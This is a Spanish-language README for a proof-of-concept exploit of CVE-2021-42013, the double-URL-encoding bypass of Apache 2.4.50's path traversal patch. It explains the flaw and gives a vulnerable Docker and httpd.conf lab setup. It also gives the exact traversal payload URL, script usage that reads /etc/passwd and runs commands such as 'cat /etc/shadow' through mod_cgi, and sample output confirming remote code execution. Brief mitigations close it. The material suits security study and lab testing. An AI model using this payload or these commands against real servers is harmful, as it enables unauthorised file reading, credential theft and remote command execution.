
Exploit de prueba de concepto para CVE-2021-42013, que demuestra un recorrido de rutas y ejecución remota de código en Apache 2.4.50 mediante un bypass de codificación doble de URL del parche de CVE-2021-41773.
Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.
PoC desarrollada para demostrar CVE-2021-42013, presente en Apache HTTP Server 2.4.50.
Este CVE es el bypass del parche que Apache publicó para CVE-2021-41773. La versión 2.4.50 intentó corregir el path traversal anterior agregando una validación que rechazaba las secuencias .%2e y %2e.. Sin embargo, esa validación era insuficiente: no contemplaba que el mismo resultado podía obtenerse con doble URL encoding, dejando la misma superficie de ataque expuesta.
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| Versión afectada | Apache 2.4.49 | Apache 2.4.50 |
| Encoding utilizado | .%2e/ | %%32%65%%32%65/ |
| Mecanismo | Single encoding | Doble encoding (bypass de parche) |
| RCE posible | Sí (con mod_cgi) | Sí (con mod_cgi) |
| Versión corregida | 2.4.50 (parche incompleto) | 2.4.51 |
El parche de Apache 2.4.50 agregó una validación en ap_normalize_path() que buscaba literalmente las secuencias .%2e y %2e. en el path de la request. Si las encontraba, rechazaba el request con 400 o 403.
El problema: esa validación se ejecutaba sobre el string antes de una segunda pasada de decodificación URL. Si el payload estaba doblemente encodado, la validación no encontraba la secuencia prohibida porque aún no estaba decodificada — y cuando finalmente se decodificaba para resolver el path del filesystem, el ../ ya estaba presente y el traversal ocurría igual.
Payload: %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación: %%32%65%%32%65/ → %2e%2e/
Segunda decodificación: %2e%2e/ → ../
Resultado: traversal exitoso
La corrección real llegó en 2.4.51, donde Apache reescribió la lógica de normalización para resolver completamente el path antes de aplicar cualquier validación de seguridad.
%%32%65 es la representación doblemente encodada de .:
. → %2e (encoding estándar)
% → %25 (encoding del símbolo %)
2 → %32 (encoding del carácter '2')
e → %65 (encoding del carácter 'e')
Entonces %2e con su % encodeado y los caracteres hex encodeados se convierte en %%32%65.
Una primera decodificación de %%32%65 produce %2e. Una segunda produce ..
| Condición | Detalle |
|---|---|
| Versión de Apache | Exactamente 2.4.50 |
| Directiva de acceso | Require all granted en el directorio expuesto |
| Módulo CGI | mod_cgi habilitado (solo para RCE) |
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
O manualmente con Apache 2.4.50 y esta configuración en httpd.conf:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass del parche de CVE-2021-41773 via doble encoding
PoC con fines educativos — Solo en entornos propios
============================================================
[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...
[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 o superior.Require all denied como valor por defecto.mod_cgi si no es necesario.PoC desarrollada con fines educativos para portafolio de seguridad ofensiva.
| Argumento | Requerido | Descripción |
|---|
--target | Sí | URL base del servidor (ej: http://localhost:8080) |
--mode | Sí | traversal para leer archivos, rce para ejecutar comandos |
--cmd | No | Comando a ejecutar en modo rce (default: id) |